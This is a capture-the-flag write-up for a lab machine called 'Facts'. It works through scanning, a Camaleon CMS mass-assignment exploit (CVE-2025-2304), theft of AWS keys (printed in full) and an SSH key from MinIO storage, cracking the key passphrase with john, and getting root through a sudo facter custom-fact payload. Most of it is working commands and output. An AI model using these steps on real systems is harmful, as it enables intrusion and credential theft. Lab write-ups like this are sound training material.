exploit

Initial Reconnaissance

its a easy machine ! lets start

after getting the ip first i run rustscan cause it really faster than nmap

rustscan -a 10.129.13.46 --ulimit 1000 -r 1-65535 -- -A -sC -Pn

Scan Results

PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNYjzL0v+zbXt5Zvuhd63ZMVGK/8TRBsYpIitcmtFPexgvOxbFiv6VCm9ZzRBGKf0uoNaj69WYzveCNEWxdQUww=
|   256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPCNb2NXAGnDBofpLTCGLMyF/N6Xe5LIri/onyTBifIK
80/tcp    open  http    syn-ack ttl 63 nginx 1.26.3 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
54321/tcp open  http    syn-ack ttl 62 Golang net/http server
|_http-server-header: MinIO
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 303
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 189317C4741475EB
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 11 Feb 2026 04:46:51 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>189317C4741475EB</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   GenericLines, Help, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 276
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 189317C010F52C3E
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 11 Feb 2026 04:46:32 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>189317C010F52C3E</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Vary: Origin
|     Date: Wed, 11 Feb 2026 04:46:32 GMT
|_    Content-Length: 0

Web Enumeration

after headover to port 80 the webserver hosts shows title facts.htb so quickly add it to /etc/hosts along with ip

http://facts.htb/ - its a simple blog or image sharing site

upon looking at the source code reveals its running something called Camaleon CMS

Camaleon CMS is a dynamic and advanced content management system based on Ruby on Rails

then quickly run gobuster

gobuster dir -u http://facts.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt

and found interesting a endpoint /admin

Exploitation - CVE-2025-2304

since i coudn’t detect the cms version i just searching latest CVE or vulnerability related to it then i found

https://github.com/predyy/CVE-2025-2304
CVE-2025-2304 - Camaleon CMS Privilege Escalation

A Privilege Escalation through a Mass Assignment exists in Camaleon CMS When a user wishes to change his password, the ‘updated_ajax’ method of the UsersController is called. The vulnerability stems from the use of the dangerous permit! method, which allows all parameters to pass through without any filtering.

Impact: An attacker can exploit this to modify object attributes, potentially leading to privilege escalation.

means if i just register as a new user and i can be able to be admin right ? so lets go

┌──(kali㉿blackXploit)-[~/Downloads/factshtb/CVE-2025-2304]
└─$ python3 exp.py http://facts.htb/admin test test@test
[*] Logging in as test ...
[+] Login successful
[+] Got profile page
[i] Version detected: 2.9.0 (< 2.9.1) - appears to be vulnerable version
[+] authenticity_token: PpN31aC00B4IEFOyQN4l8Zj7mkNFw4HpmQjDr7tH8emXiQMm_5RktUs_OANR-8xeE9P5A5LD3lLgnQlfT1VPyQ
http://facts.htb/admin/users/5/updated_ajax
[*] Submitting password change request
[+] Submit successful, you should be admin

now i am admin

AWS Credentials Discovery

after headover to http://facts.htb/admin/settings/site

i found juicy stuffs like AWS s3 access key now we can acess this stuff with the help of aws cli

└─$ aws s3 ls    

An error occurred (InvalidAccessKeyId) when calling the ListBuckets operation: The AWS Access Key Id you provided does not exist in our records.
                                             
┌──(kali㉿blackXploit)-[~/Downloads/factshtb]
└─$ aws configure --profile facts
AWS Access Key ID [None]: AKIA237FBBCAFC84DA9E
AWS Secret Access Key [None]: 1I6oQXf2PZH20fVOdFL+AKZ+gtZwH70nDg/atEKH
Default region name [None]: us-east-1
Default output format [None]: json
                                                                                                                                                                           
┌──(kali㉿blackXploit)-[~/Downloads/factshtb]
└─$ aws s3 ls --endpoint-url http://facts.htb:54321 --profile facts
2025-09-11 08:06:52 internal
2025-09-11 08:06:52 randomfacts

┌──(kali㉿blackXploit)-[~/Downloads/factshtb]
└─$ aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321 --profile facts
                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-08 13:45:13        220 .bash_logout
2026-01-08 13:45:13       3900 .bashrc
2026-01-08 13:47:17         20 .lesshst
2026-01-08 13:47:17  

SSH Key Extraction

after dig into /internal dir we got .ssh then quicky cpy this to current dir

aws s3 cp s3://internal/.ssh /home/kali/Downloads/factshtb --endpoint-url http://facts.htb:54321 --profile facts --recursive
download: s3://internal/.ssh/id_ed25519 to ./id_ed25519             
download: s3://internal/.ssh/authorized_keys to ./authorized_keys 

Cracking SSH Key

the id i have got is encrypted so need to crack it fr that i use

python3 /usr/share/john/ssh2john.py id_ed25519 > key.john

┌──(kali㉿blackXploit)-[~/Downloads/factshtb]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt key.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dra[redact]      (id_ed25519)     
1g 0:00:06:18 DONE (2026-02-11 00:46) 0.002641g/s 8.452p/s 8.452c/s 8.452C/s fireman..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Getting User Access

i got the passphrase lets connect to port 22

┌──(kali㉿blackXploit)-[~/Downloads/factshtb]
└─$ ssh-keygen -y -f id_ed25519 > id_ed25519.pub
Enter passphrase for "id_ed25519": 
                                                                                                                    
this will generate .pub file so we know the user                                                                                                  
┌──(kali㉿blackXploit)-[~/Downloads/factshtb]
└─$ ls
authorized_keys  CVE-2025-2304  id_ed25519  id_ed25519.hash  id_ed25519.pub  key.john  writeup.md
                                                                                                                    
┌──(kali㉿blackXploit)-[~/Downloads/factshtb]
└─$ cat id_ed25519.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA6uqf/MuO5odDM453bZdApeHLnufnUfStkZcK5e/2QQ redacted@facts.htb
                                                                                                                                                                                
┌──(kali㉿blackXploit)-[~/Downloads/factshtb]
└─$ ssh -i id_ed25519 trivia@facts.htb
Enter passphrase for key 'id_ed25519': 
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed Feb 11 06:26:36 AM UTC 2026

  System load:           0.13
  Usage of /:            74.2% of 7.28GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             221
  Users logged in:       1
  IPv4 address for eth0: 10.129.13.46
  IPv6 address for eth0: dead:beef::250:56ff:feb0:441b


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
trivia@facts:~$ ls
trivia@facts:/home$ ls
trivia  william
trivia@facts:/home$ cd william/
trivia@facts:/home/william$ ls
user.txt
trivia@facts:/home/william$ cat user.txt 
73f8a5[redacted]

Privilege Escalation to Root

next step is to get root for that use same method run sudo -l and notice

trivia@facts:/home/william$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

facter is a system profiling tool used by Puppet (configuration management), and it can execute Ruby code. Since you can run it as root with sudo and no password, you can exploit this to get a root shell.

lets craft the exploit

trivia@facts:/tmp$ mkdir -p /tmp/exploit
trivia@facts:/tmp$ cat > /tmp/exploit/root.rb << 'EOF'
Facter.add(:root_shell) do
  setcode do
    system("/bin/bash")
  end
end
EOF
trivia@facts:/tmp$ sudo /usr/bin/facter --custom-dir /tmp/exploit
root@facts:/tmp# 

i bet you , you cant find this type of writeup anywhere so if it helps please drop a comment below. thank you. thats all foxs ! have fun happy hacking.